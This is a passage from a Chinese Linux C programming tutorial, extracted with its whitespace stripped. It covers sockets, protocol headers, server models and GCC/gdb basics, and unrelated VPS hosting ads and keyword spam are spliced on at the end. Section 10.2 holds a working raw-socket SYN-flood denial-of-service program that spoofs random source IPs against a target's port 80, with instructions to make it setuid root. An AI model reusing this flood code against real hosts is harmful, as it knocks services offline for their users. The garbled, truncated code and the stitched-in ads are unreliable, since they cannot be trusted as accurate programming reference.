intmy_write(intfd,void*buffer,intlength){intbytes_left;intwritten_bytes;char*ptr;ptr=buffer;bytes_left=length;while(bytes_left>0)第47页共84页Linux操作系统下c语言编程入门{/*开始写*/written_bytes=write(fd,ptr,bytes_left);if(written_bytes0){bytes_read=read(fd,ptr,bytes_read);if(bytes_read#include#include#include#include#defineSERVER_PORT8888#defineMAX_MSG_SIZE1024voidudps_respon(intsockfd){structsockaddr_inaddr;intaddrlen,n;第49页共84页Linux操作系统下c语言编程入门charmsg[MAX_MSG_SIZE];while(1){/*从网络上度,写到网络上面去*/n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,(structsockaddr*)&addr,&addrlen);msg[n]=0;/*显示服务端已经收到了信息*/fprintf(stdout,"Ihavereceived%s",msg);sendto(sockfd,msg,n,0,(structsockaddr*)&addr,addrlen);}}intmain(void){intsockfd;structsockaddr_inaddr;sockfd=socket(AF_INET,SOCK_DGRAM,0);if(sockfd#include#include#include#include#include#defineMAX_BUF_SIZE1024voidudpc_requ(intsockfd,conststructsockaddr_in*addr,intlen){第50页共84页Linux操作系统下c语言编程入门charbuffer[MAX_BUF_SIZE];intn;while(1){/*从键盘读入,写到服务端*/fgets(buffer,MAX_BUF_SIZE,stdin);sendto(sockfd,buffer,strlen(buffer),0,addr,len);bzero(buffer,MAX_BUF_SIZE);/*从网络上读,写到屏幕上*/n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL);buffer[n]=0;fputs(buffer,stdout);}}intmain(intargc,char**argv){intsockfd,port;structsockaddr_inaddr;if(argc!
=3){fprintf(stderr,"Usage:%sserver_ipserver_port\n",argv[0]);exit(1);}if((port=atoi(argv[2]))structip{#if__BYTE_ORDER==__LITTLE_ENDIANunsignedintip_hl:4;/*headerlength*/unsignedintip_v:4;/*version*/#endif#if__BYTE_ORDER==__BIG_ENDIANunsignedintip_v:4;/*version*/unsignedintip_hl:4;/*headerlength*/第54页共84页Linux操作系统下c语言编程入门#endifu_int8_tip_tos;/*typeofservice*/u_shortip_len;/*totallength*/u_shortip_id;/*identification*/u_shortip_off;/*fragmentoffsetfield*/#defineIP_RF0x8000/*reservedfragmentflag*/#defineIP_DF0x4000/*dontfragmentflag*/#defineIP_MF0x2000/*morefragmentsflag*/#defineIP_OFFMASK0x1fff/*maskforfragmentingbits*/u_int8_tip_ttl;/*timetolive*/u_int8_tip_p;/*protocol*/u_shortip_sum;/*checksum*/structin_addrip_src,ip_dst;/*sourceanddestaddress*/};ip_vIP协议的版本号,这里是4,现在IPV6已经出来了ip_hlIP包首部长度,这个值以4字节为单位.
IP协议首部的固定长度为20个字节,如果IP包没有选项,那么这个值为5.
ip_tos服务类型,说明提供的优先权.
ip_len说明IP数据的长度.
以字节为单位.
ip_id标识这个IP数据包.
ip_off碎片偏移,这和上面ID一起用来重组碎片的.
ip_ttl生存时间.
没经过一个路由的时候减一,直到为0时被抛弃.
ip_p协议,表示创建这个IP数据包的高层协议.
如TCP,UDP协议.
ip_sum首部校验和,提供对首部数据的校验.
ip_src,ip_dst发送者和接收者的IP地址关于IP协议的详细情况,请参考RFC7917.
3ICMP协议ICMP是消息控制协议,也处于网络层.
在网络上传递IP数据包时,如果发生了错误,那么就会用ICMP协议来报告错误.
ICMP包的结构如下:081632|类型|代码|校验和||数据|数据|ICMP在中的定义是structicmphdr{u_int8_ttype;/*messagetype*/u_int8_tcode;/*typesub-code*/u_int16_tchecksum;union{第55页共84页Linux操作系统下c语言编程入门struct{u_int16_tid;u_int16_tsequence;}echo;/*echodatagram*/u_int32_tgateway;/*gatewayaddress*/struct{u_int16_t__unused;u_int16_tmtu;}frag;/*pathmtudiscovery*/}un;};关于ICMP协议的详细情况可以查看RFC7927.
4UDP协议UDP协议是建立在IP协议基础之上的,用在传输层的协议.
UDP和IP协议一样是不可靠的数据报服务.
UDP的头格式为:01632|UDP源端口|UDP目的端口||UDP数据报长度|UDP数据报校验|UDP结构在中的定义为:structudphdr{u_int16_tsource;u_int16_tdest;u_int16_tlen;u_int16_tcheck;};关于UDP协议的详细情况,请参考RFC7687.
5TCPTCP协议也是建立在IP协议之上的,不过TCP协议是可靠的.
按照顺序发送的.
TCP的数据结构比前面的结构都要复杂.
04810162432|源端口|目的端口||序列号||确认号||||U|A|P|S|F|||首部长度|保留|R|C|S|Y|I|窗口|第56页共84页Linux操作系统下c语言编程入门|||G|K|H|N|N|||校验和|紧急指针||选项|填充字节|TCP的结构在中定义为:structtcphdr{u_int16_tsource;u_int16_tdest;u_int32_tseq;u_int32_tack_seq;#if__BYTE_ORDER==__LITTLE_ENDIANu_int16_tres1:4;u_int16_tdoff:4;u_int16_tfin:1;u_int16_tsyn:1;u_int16_trst:1;u_int16_tpsh:1;u_int16_tack:1;u_int16_turg:1;u_int16_tres2:2;#elif__BYTE_ORDER==__BIG_ENDIANu_int16_tdoff:4;u_int16_tres1:4;u_int16_tres2:2;u_int16_turg:1;u_int16_tack:1;u_int16_tpsh:1;u_int16_trst:1;u_int16_tsyn:1;u_int16_tfin:1;#endifu_int16_twindow;u_int16_tcheck;u_int16_turg_prt;};source发送TCP数据的源端口dest接受TCP数据的目的端口seq标识该TCP所包含的数据字节的开始序列号ack_seq确认序列号,表示接受方下一次接受的数据序列号.
doff数据首部长度.
和IP协议一样,以4字节为单位.
一般的时候为5urg如果设置紧急数据指针,则该位为1第57页共84页Linux操作系统下c语言编程入门ack如果确认号正确,那么为1psh如果设置为1,那么接收方收到数据后,立即交给上一层程序rst为1的时候,表示请求重新连接syn为1的时候,表示请求建立连接fin为1的时候,表示亲戚关闭连接window窗口,告诉接收者可以接收的大小check对TCP数据进行较核urg_ptr如果urg=1,那么指出紧急数据对于历史数据开始的序列号的偏移值关于TCP协议的详细情况,请查看RFC7937.
6TCP连接的建立TCP协议是一种可靠的连接,为了保证连接的可靠性,TCP的连接要分为几个步骤.
我们把这个连接过程称为"三次握手".
下面我们从一个实例来分析建立连接的过程.
第一步客户机向服务器发送一个TCP数据包,表示请求建立连接.
为此,客户端将数据包的SYN位设置为1,并且设置序列号seq=1000(我们假设为1000).
第二步服务器收到了数据包,并从SYN位为1知道这是一个建立请求的连接.
于是服务器也向客户端发送一个TCP数据包.
因为是响应客户机的请求,于是服务器设置ACK为1,sak_seq=1001(1000+1)同时设置自己的序列号.
seq=2000(我们假设为2000).
第三步客户机收到了服务器的TCP,并从ACK为1和ack_seq=1001知道是从服务器来的确认信息.
于是客户机也向服务器发送确认信息.
客户机设置ACK=1,和ack_seq=2001,seq=1001,发送给服务器.
至此客户端完成连接.
最后一步服务器受到确认信息,也完成连接.
通过上面几个步骤,一个TCP连接就建立了.
当然在建立过程中可能出现错误,不过TCP协议可以保证自己去处理错误的.
说一说其中的一种错误.
听说过DOS吗(可不是操作系统啊).
今年春节的时候,美国的五大网站一起受到攻击.
攻击者用的就是DOS(拒绝式服务)方式.
概括的说一下原理.
客户机先进行第一个步骤.
服务器收到后,进行第二个步骤.
按照正常的TCP连接,客户机应该进行第三个步骤.
不过攻击者实际上并不进行第三个步骤.
因为客户端在进行第一个步骤的时候,修改了自己的IP地址,就是说将一个实际上不存在的IP填充在自己IP数据包的发送者的IP一栏.
这样因为服务器发的IP地址没有人接收,所以服务端会收不到第三个步骤的确认信号,这样服务务端会在那边一直等待,直到超时.
这样当有大量的客户发出请求后,服务端会有大量等待,直到所有的资源被用光,而不能再接收客户机的请求.
这样当正常的用户向服务器发出请求时,由于没有了资源而不能成功.
于是就出现了春节时所出现的情况.
网络编程(8)8.
套接字选项有时候我们要控制套接字的行为(如修改缓冲区的大小),这个时候我们就要控制套接字的选项了.
第58页共84页Linux操作系统下c语言编程入门8.
1getsockopt和setsockoptintgetsockopt(intsockfd,intlevel,intoptname,void*optval,socklen_t*optlen)intsetsockopt(intsockfd,intlevel,intoptname,constvoid*optval,socklen_t*optlen)level指定控制套接字的层次.
可以取三种值:1)SOL_SOCKET:通用套接字选项.
2)IPPROTO_IP:IP选项.
3)IPPROTO_TCP:TCP选项.
optname指定控制的方式(选项的名称),我们下面详细解释optval获得或者是设置套接字选项.
根据选项名称的数据类型进行转换选项名称说明数据类型SOL_SOCKETSO_BROADCAST允许发送广播数据intSO_DEBUG允许调试intSO_DONTROUTE不查找路由intSO_ERROR获得套接字错误intSO_KEEPALIVE保持连接intSO_LINGER延迟关闭连接structlingerSO_OOBINLINE带外数据放入正常数据流intSO_RCVBUF接收缓冲区大小intSO_SNDBUF发送缓冲区大小intSO_RCVLOWAT接收缓冲区下限intSO_SNDLOWAT发送缓冲区下限intSO_RCVTIMEO接收超时structtimevalSO_SNDTIMEO发送超时structtimevalSO_REUSERADDR允许重用本地地址和端口intSO_TYPE获得套接字类型intSO_BSDCOMPAT与BSD系统兼容intIPPROTO_IPIP_HDRINCL在数据包中包含IP首部intIP_OPTINOSIP首部选项intIP_TOS服务类型IP_TTL生存时间intIPPRO_TCP第59页共84页Linux操作系统下c语言编程入门TCP_MAXSEGTCP最大数据段的大小intTCP_NODELAY不使用Nagle算法int关于这些选项的详细情况请查看LinuxProgrammer'sManual8.
2ioctlioctl可以控制所有的文件描述符的情况,这里介绍一下控制套接字的选项.
intioctl(intfd,intreq,.
.
.
)ioctl的控制选项SIOCATMARK是否到达带外标记intFIOASYNC异步输入/输出标志intFIONREAD缓冲区可读的字节数int详细的选项请用manioctl_list查看.
--网络编程(9)9.
服务器模型学习过《软件工程》吧.
软件工程可是每一个程序员"必修"的课程啊.
如果你没有学习过,建议你去看一看.
在这一章里面,我们一起来从软件工程的角度学习网络编程的思想.
在我们写程序之前,我们都应该从软件工程的角度规划好我们的软件,这样我们开发软件的效率才会高.
在网络程序里面,一般的来说都是许多客户机对应一个服务器.
为了处理客户机的请求,对服务端的程序就提出了特殊的要求.
我们学习一下目前最常用的服务器模型.
循环服务器:循环服务器在同一个时刻只可以响应一个客户端的请求并发服务器:并发服务器在同一个时刻可以响应多个客户端的请求9.
1循环服务器:UDP服务器UDP循环服务器的实现非常简单:UDP服务器每次从套接字上读取一个客户端的请求,处理,然后将结果返回给客户机.
可以用下面的算法来实现.
socket(.
.
.
);bind(.
.
.
);while(1){recvfrom(.
.
.
);process(.
.
.
);sendto(.
.
.
);}第60页共84页Linux操作系统下c语言编程入门因为UDP是非面向连接的,没有一个客户端可以老是占住服务端.
只要处理过程不是死循环,服务器对于每一个客户机的请求总是能够满足.
9.
2循环服务器:TCP服务器TCP循环服务器的实现也不难:TCP服务器接受一个客户端的连接,然后处理,完成了这个客户的所有请求后,断开连接.
算法如下:socket(.
.
.
);bind(.
.
.
);listen(.
.
.
);while(1){accept(.
.
.
);while(1){read(.
.
.
);process(.
.
.
);write(.
.
.
);}close(.
.
.
);}TCP循环服务器一次只能处理一个客户端的请求.
只有在这个客户的所有请求都满足后,服务器才可以继续后面的请求.
这样如果有一个客户端占住服务器不放时,其它的客户机都不能工作了.
因此,TCP服务器一般很少用循环服务器模型的.
9.
3并发服务器:TCP服务器为了弥补循环TCP服务器的缺陷,人们又想出了并发服务器的模型.
并发服务器的思想是每一个客户机的请求并不由服务器直接处理,而是服务器创建一个子进程来处理.
算法如下:socket(.
.
.
);bind(.
.
.
);listen(.
.
.
);while(1){accept(.
.
.
);if(fork(.
.
)==0){while(1){read(.
.
.
);process(.
.
.
);write(.
.
.
);}close(.
.
.
);exit(.
.
.
);}第61页共84页Linux操作系统下c语言编程入门close(.
.
.
);}TCP并发服务器可以解决TCP循环服务器客户机独占服务器的情况.
不过也同时带来了一个不小的问题.
为了响应客户机的请求,服务器要创建子进程来处理.
而创建子进程是一种非常消耗资源的操作.
9.
4并发服务器:多路复用I/O为了解决创建子进程带来的系统资源消耗,人们又想出了多路复用I/O模型.
首先介绍一个函数selectintselect(intnfds,fd_set*readfds,fd_set*writefds,fd_set*exceptfds,structtimeval*timeout)voidFD_SET(intfd,fd_set*fdset)voidFD_CLR(intfd,fd_set*fdset)voidFD_ZERO(fd_set*fdset)intFD_ISSET(intfd,fd_set*fdset)一般的来说当我们在向文件读写时,进程有可能在读写出阻塞,直到一定的条件满足.

比如我们从一个套接字读数据时,可能缓冲区里面没有数据可读(通信的对方还没有发送数据过来),这个时候我们的读调用就会等待(阻塞)直到有数据可读.
如果我们不希望阻塞,我们的一个选择是用select系统调用.
只要我们设置好select的各个参数,那么当文件可以读写的时候select回"通知"我们说可以读写了.
readfds所有要读的文件文件描述符的集合writefds所有要的写文件文件描述符的集合exceptfds其他的服要向我们通知的文件描述符timeout超时设置.
nfds所有我们监控的文件描述符中最大的那一个加1在我们调用select时进程会一直阻塞直到以下的一种情况发生.
1)有文件可以读.
2)有文件可以写.
3)超时所设置的时间到.
为了设置文件描述符我们要使用几个宏.
FD_SET将fd加入到fdsetFD_CLR将fd从fdset里面清除FD_ZERO从fdset中清除所有的文件描述符FD_ISSET判断fd是否在fdset集合中使用select的一个例子intuse_select(int*readfd,intn){fd_setmy_readfd;intmaxfd;inti;maxfd=readfd[0];for(i=1;imaxfd)maxfd=readfd[i];while(1){/*将所有的文件描述符加入*/FD_ZERO(&my_readfd);for(i=0;i#include#include#include#include#defineMY_PORT8888intmain(intargc,char**argv)第63页共84页Linux操作系统下c语言编程入门{intlisten_fd,accept_fd;structsockaddr_inclient_addr;intn;if((listen_fd=socket(AF_INET,SOCK_STREAM,0))下面我们以一个实例来说明原始套接字的创建和使用10.
2一个原始套接字的实例还记得DOS是什么意思吗在这里我们就一起来编写一个实现DOS的小程序.
下面是程序的源代码DOS.
c#include#include#include#include#include#include#include#include#include#defineDESTPORT80/*要攻击的端口(WEB)*/#defineLOCALPORT8888voidsend_tcp(intsockfd,structsockaddr_in*addr);unsignedshortcheck_sum(unsignedshort*addr,intlen);intmain(intargc,char**argv){intsockfd;structsockaddr_inaddr;structhostent*host;inton=1;if(argc!
=2){fprintf(stderr,"Usage:%shostname\n\a",argv[0]);第65页共84页Linux操作系统下c语言编程入门exit(1);}bzero(&addr,sizeof(structsockaddr_in));addr.
sin_family=AF_INET;addr.
sin_port=htons(DESTPORT);if(inet_aton(argv[1],&addr.
sin_addr)==0){host=gethostbyname(argv[1]);if(host==NULL){fprintf(stderr,"HostNameError:%s\n\a",hstrerror(h_errno));exit(1);}addr.
sin_addr=*(structin_addr*)(host->h_addr_list[0]);}/****使用IPPROTO_TCP创建一个TCP的原始套接字****/sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);if(sockfdip_v=IPVERSION;/**版本一般的是4**/ip->ip_hl=sizeof(structip)>>2;/**IP数据包的头部长度**/ip->ip_tos=0;/**服务类型**/第66页共84页Linux操作系统下c语言编程入门ip->ip_len=htons(head_len);/**IP数据包的长度**/ip->ip_id=0;/**让系统去填写吧**/ip->ip_off=0;/**和上面一样,省点时间**/ip->ip_ttl=MAXTTL;/**最长的时间255**/ip->ip_p=IPPROTO_TCP;/**我们要发的是TCP包**/ip->ip_sum=0;/**校验和让系统去做**/ip->ip_dst=addr->sin_addr;/**我们攻击的对象**/开始填写TCP数据包*****/tcp=(structtcphdr*)(buffer+sizeof(structip));tcp->source=htons(LOCALPORT);tcp->dest=addr->sin_port;/**目的端口**/tcp->seq=random();tcp->ack_seq=0;tcp->doff=5;tcp->syn=1;/**我要建立连接**/tcp->check=0;/**好了,一切都准备好了.
服务器,你准备好了没有while(1){/**你不知道我是从那里来的,慢慢的去等吧!
**/ip->ip_src.
s_addr=random();/**什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧*//**下面这条可有可无*/tcp->check=check_sum((unsignedshort*)tcp,sizeof(structtcphdr));sendto(sockfd,buffer,head_len,0,addr,sizeof(structsockaddr_in));}}/*下面是首部校验和的算法,偷了别人的*/unsignedshortcheck_sum(unsignedshort*addr,intlen){registerintnleft=len;registerintsum=0;registershort*w=addr;shortanswer=0;while(nleft>1){sum+=*w++;nleft-=2;}if(nleft==1){*(unsignedchar*)(&answer)=*(unsignedchar*)w;sum+=answer;第67页共84页Linux操作系统下c语言编程入门}sum=(sum>>16)+(sum&0xffff);sum+=(sum>>16);answer=~sum;return(answer);}编译一下,拿localhost做一下实验,看看有什么结果.
(千万不要试别人的啊).
为了让普通用户可以运行这个程序,我们应该将这个程序的所有者变为root,且设置setuid位[root@hoyt/root]#chownrootDOS[root@hoyt/root]#chmod+sDOS10.
3总结原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了.
.
不过这里面是不是有很多的乐趣呢.
当我们创建了一个TCP套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统.
系统在收到我们的数据后,回自动的调用相应的模块给数据加上TCP头部,然后加上IP头部.
再发送出去.
而现在是我们自己创建各个的头部,系统只是把它们发送出去.
在上面的实例中,由于我们要修改我们的源IP地址,所以我们使用了setsockopt函数,如果我们只是修改TCP数据,那么IP数据一样也可以由系统来创建的.
--网络编程(11)11.
后记总算完成了网络编程这个教程.
算起来我差不多写了一个星期,原来以为写这个应该是一件不难的事,做起来才知道原来有很多的地方都比我想象的要难.
我还把很多的东西都省略掉了不过写完了这篇教程以后,我好象对网络的认识又增加了一步.
如果我们只是编写一般的网络程序还是比较容易的,但是如果我们想写出比较好的网络程序我们还有着遥远的路要走.
网络程序一般的来说都是多进程加上多线程的.
为了处理好他们内部的关系,我们还要学习进程之间的通信.
在网络程序里面有着许许多多的突发事件,为此我们还要去学习更高级的事件处理知识.
现在的信息越来越多了,为了处理好这些信息,我们还要去学习数据库.
如果要编写出有用的黑客软件,我们还要去熟悉各种网络协议.
总之我们要学的东西还很多很多.
看一看外国的软件水平,看一看印度的软件水平,宝岛台湾的水平,再看一看我们自己的软件水平大家就会知道了什么叫做差距.
我们现在用的软件有几个是我们中国人自己编写的.
不过大家不要害怕,不用担心.
只要我们还是清醒的,还能够认清我们和别人的差距,我们就还有希望.
毕竟我们现在还年轻.
只要我们努力,认真的去学习,我们一定能够学好的.
.
我们就可以追上别人直到超过别人!
相信一点:别人可以做到的我们一样可以做到,而且可以比别人做的更好!
勇敢的年轻人,为了我们伟大祖国的软件产业,为了祖国的未来,努力的去奋斗吧!
祖国会记住你们的!
hoyt11.
1参考资料第68页共84页Linux操作系统下c语言编程入门>---机械工业出版社.
>--清华大学出版社.
9)Linux下C开发工具介绍Linux的发行版中包含了很多软件开发工具.
它们中的很多是用于C和C++应用程序开发的.
本文介绍了在Linux下能用于C应用程序开发和调试的工具.
本文的主旨是介绍如何在Linux下使用C编译器和其他C编程工具,而非C语言编程的教程.
GNUC编译器GNUC编译器(GCC)是一个全功能的ANSIC兼容编译器.
如果你熟悉其他操作系统或硬件平台上的一种C编译器,你将能很快地掌握GCC.
本节将介绍如何使用GCC和一些GCC编译器最常用的选项.
使用GCC通常后跟一些选项和文件名来使用GCC编译器.
gcc命令的基本用法如下:gcc[options][filenames]命令行选项指定的操作将在命令行上每个给出的文件上执行.
下一小节将叙述一些你会最常用到的选项.
GCC选项GCC有超过100个的编译选项可用.
这些选项中的许多你可能永远都不会用到,但一些主要的选项将会频繁用到.
很多的GCC选项包括一个以上的字符.
因此你必须为每个选项指定各自的连字符,并且就象大多数Linux命令一样你不能在一个单独的连字符后跟一组选项.
例如,下面的两个命令是不同的:gcc-p-gtest.
cgcc-pgtest.
c第一条命令告诉GCC编译test.
c时为prof命令建立剖析(profile)信息并且把调试信息加入到可执行的文件里.
第二条命令只告诉GCC为gprof命令建立剖析信息.
当你不用任何选项编译一个程序时,GCC将会建立(假定编译成功)一个名为a.
out的可执行文件.
例如,下面的命令将在当前目录下产生一个叫a.
out的文件:gcctest.
c你能用-o编译选项来为将产生的可执行文件指定一个文件名来代替a.
out.
例如,将一个叫count.
c的C程序编译为名叫count的可执行文件,你将输入下面的命令:gcc-ocountcount.
c--第69页共84页Linux操作系统下c语言编程入门注意:当你使用-o选项时,-o后面必须跟一个文件名.
--GCC同样有指定编译器处理多少的编译选项.
-c选项告诉GCC仅把源代码编译为目标代码而跳过汇编和连接的步骤.
这个选项使用的非常频繁因为它使得编译多个C程序时速度更快并且更易于管理.
缺省时GCC建立的目标代码文件有一个.
o的扩展名.
-S编译选项告诉GCC在为C代码产生了汇编语言文件后停止编译.
GCC产生的汇编语言文件的缺省扩展名是.
s.
-E选项指示编译器仅对输入文件进行预处理.
当这个选项被使用时,预处理器的输出被送到标准输出而不是储存在文件里.
优化选项当你用GCC编译C代码时,它会试着用最少的时间完成编译并且使编译后的代码易于调试.
易于调试意味着编译后的代码与源代码有同样的执行次序,编译后的代码没有经过优化.
有很多选项可用于告诉GCC在耗费更多编译时间和牺牲易调试性的基础上产生更小更快的可执行文件.
这些选项中最典型的是-O和-O2选项.
-O选项告诉GCC对源代码进行基本优化.
这些优化在大多数情况下都会使程序执行的更快.
-O2选项告诉GCC产生尽可能小和尽可能快的代码.
-O2选项将使编译的速度比使用-O时慢.
但通常产生的代码执行速度会更快.
除了-O和-O2优化选项外,还有一些低级选项用于产生更快的代码.
这些选项非常的特殊,而且最好只有当你完全理解这些选项将会对编译后的代码产生什么样的效果时再去使用.
这些选项的详细描述,请参考GCC的指南页,在命令行上键入mangcc.
调试和剖析选项GCC支持数种调试和剖析选项.
在这些选项里你会最常用到的是-g和-pg选项.
-g选项告诉GCC产生能被GNU调试器使用的调试信息以便调试你的程序.
GCC提供了一个很多其他C编译器里没有的特性,在GCC里你能使-g和-O(产生优化代码)联用.
.
这一点非常有用因为你能在与最终产品尽可能相近的情况下调试你的代码.

在你同时使用这两个选项时你必须清楚你所写的某些代码已经在优化时被GCC作了改动.
关于调试C程序的更多信息请看下一节"用gdb调试C程序".
-pg选项告诉GCC在你的程序里加入额外的代码,执行时,产生gprof用的剖析信息以显示你的程序的耗时情况.
关于gprof的更多信息请参考"gprof"一节.
用gdb调试GCC程序Linux包含了一个叫gdb的GNU调试程序.
gdb是一个用来调试C和C++程序的强力调试器.
它使你能在程序运行时观察程序的内部结构和内存的使用情况.
以下是gdb所提供的一些功能:它使你能监视你程序中变量的值.
第70页共84页Linux操作系统下c语言编程入门它使你能设置断点以使程序在指定的代码行上停止执行.
它使你能一行行的执行你的代码.
在命令行上键入gdb并按回车键就可以运行gdb了,如果一切正常的话,gdb将被启动并且你将在屏幕上看到类似的内容:GNUgdb5.
0Copyright2000FreeSoftwareFoundation,Inc.
GDBisfreesoftware,coveredbytheGNUGeneralPublicLicense,andyouarewelcometochangeitand/ordistributecopiesofitundercertainconditions.
Type"showcopying"toseetheconditions.
ThereisabsolutelynowarrantyforGDB.
Type"showwarranty"fordetails.
ThisGDBwasconfiguredas"i386-redhat-linux".
(gdb)当你启动gdb后,你能在命令行上指定很多的选项.
你也可以以下面的方式来运行gdb:gdb当你用这种方式运行gdb,你能直接指定想要调试的程序.
这将告诉gdb装入名为fname的可执行文件.
你也可以用gdb去检查一个因程序异常终止而产生的core文件,或者与一个正在运行的程序相连.
你可以参考gdb指南页或在命令行上键入gdb-h得到一个有关这些选项的说明的简单列表.
为调试编译代码(CompilingCodeforDebugging)为了使gdb正常工作,你必须使你的程序在编译时包含调试信息.
调试信息包含你程序里的每个变量的类型和在可执行文件里的地址映射以及源代码的行号.

HostSailor:罗马尼亚机房,内容宽松;罗马尼亚VPS七折优惠,罗马尼亚服务器95折

hostsailor怎么样?hostsailor成立多年,是一家罗马尼亚主机商家,机房就设在罗马尼亚,具说商家对内容管理的还是比较宽松的,商家提供虚拟主机、VPS及独立服务器,今天收到商家推送的八月优惠,针对所有的产品都有相应的优惠,商家的VPS产品分为KVM和OpenVZ两种架构,OVZ的比较便宜,有这方面需要的朋友可以看看。点击进入:hostsailor商家官方网站HostSailor优惠活动...

酷锐云香港(19元/月) ,美国1核2G 19元/月,日本独立物理机,

酷锐云是一家2019年开业的国人主机商家,商家为企业运营,主要销售主VPS服务器,提供挂机宝和云服务器,机房有美国CERA、中国香港安畅和电信,CERA为CN2 GIA线路,提供单机10G+天机盾防御,提供美国原生IP,支持媒体流解锁,商家的套餐价格非常美丽,CERA机房月付20元起,香港安畅机房10M带宽月付25元,有需要的朋友可以入手试试。酷锐云自开业以来一直有着良好的产品稳定性及服务态度,支...

CloudCone,美国洛杉矶独立服务器特价优惠,美国洛杉矶MC机房,100Mbps带宽不限流量,可选G口,E3-1270 v2处理器32G内存1Gbps带宽,69美元/月

今天CloudCone发布了最新的消息,推送了几款特价独立服务器/杜甫产品,美国洛杉矶MC机房,分配100Mbps带宽不限流量,可以选择G口限制流量计划方案,存储分配的比较大,选择HDD硬盘的话2TB起,MC机房到大陆地区线路还不错,有需要美国特价独立服务器的朋友可以关注一下。CloudCone怎么样?CloudCone服务器好不好?CloudCone值不值得购买?CloudCone是一家成立于2...

linux查看端口占用为你推荐
聚酯纤维和棉哪个好袜子是棉的好还是聚酯纤维的好?涡轮增压和自然吸气哪个好涡轮增压和自然吸气哪个好迈腾和帕萨特哪个好帕萨特和迈腾哪个车好?法兰绒和珊瑚绒哪个好法兰绒和珊瑚绒哪个好被套好压缩软件哪个好电脑常用压缩软件哪个好二手车网站哪个好二手车网站哪家好?哪个信息更可靠?ps软件哪个好PS哪一款软件比较好用呢手机音乐播放器哪个好手机音乐播放器什么的好?网页传奇哪个好玩传奇网页游戏哪个好玩的最新相关信息尼康和佳能单反哪个好请问佳能和尼康的单反哪个好?
中文域名注册查询 网站空间免备案 域名查询系统 qq空间域名 flashfxp怎么用 host1plus 樊云 Vultr 香港机房托管 美国php主机 typecho debian7 日本空间 灵动鬼影 e蜗 免费测手机号 能外链的相册 中国电信宽带测速器 免费的域名 独立主机 更多